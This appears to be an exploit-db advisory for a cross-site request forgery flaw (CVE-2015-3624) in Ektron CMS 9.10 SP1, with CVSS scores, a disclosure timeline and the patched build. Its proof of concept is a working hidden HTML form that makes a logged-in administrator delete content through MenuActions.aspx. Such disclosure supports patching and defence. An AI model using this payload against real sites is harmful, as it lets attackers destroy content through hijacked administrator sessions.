Ektron CMS 9.10 SP1 (Build 9.1.0.184.1.114) - Cross-Site Request Forgery

2015-06-1600:00:00

Jerold Hoong

www.exploit-db.com

CVSS2

5.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:N/I:P/A:P

AI Score

6.5

Confidence

Low

EPSS

0.012

Percentile

85.4%

JSON

# Vulnerability type: Cross-site Request Forgery 
# Vendor: http://www.ektron.com/
# Product: Ektron Content Management System
# Affected version: =< 9.10 SP1 (Build 9.1.0.184.1.114)
# Patched version: 9.10 SP1 (Build 9.1.0.184.1.120)
# CVE ID: CVE-2015-3624
# Credit: Jerold Hoong

# PROOF OF CONCEPT (CSRF)

Cross-site request forgery (CSRF) vulnerability in MenuActions.aspx in Ektron CMS 9.10
SP1 before build 9.1.0.184.1.120 allows remote attackers to hijack the authentication
of content administrators for requests that could lead to the deletion of content and
assets.

<html>
  <body>
    <form action="http://127.0.0.1/Test/WorkArea/DmsMenu/menuActions/MenuActions.aspx">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="contentId" value="4210" />
      <input type="hidden" name="LangType" value="1033" />
      <input type="hidden" name="folderId" value="561" />
      <input type="hidden" name="redirectBack" value="true" />
      <input type="hidden" name="menuType" value="Workarea" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

# TIMELINE
– 07/04/2015: Vulnerability found
– 07/04/2015: Vendor informed
– 08/04/2015: Vendor responded and acknowledged
- 01/05/2015: MITRE issued CVE number CVE-2015-3624
– 28/05/2015: Vendor fixed the issue
– 31/05/2015: Public disclosure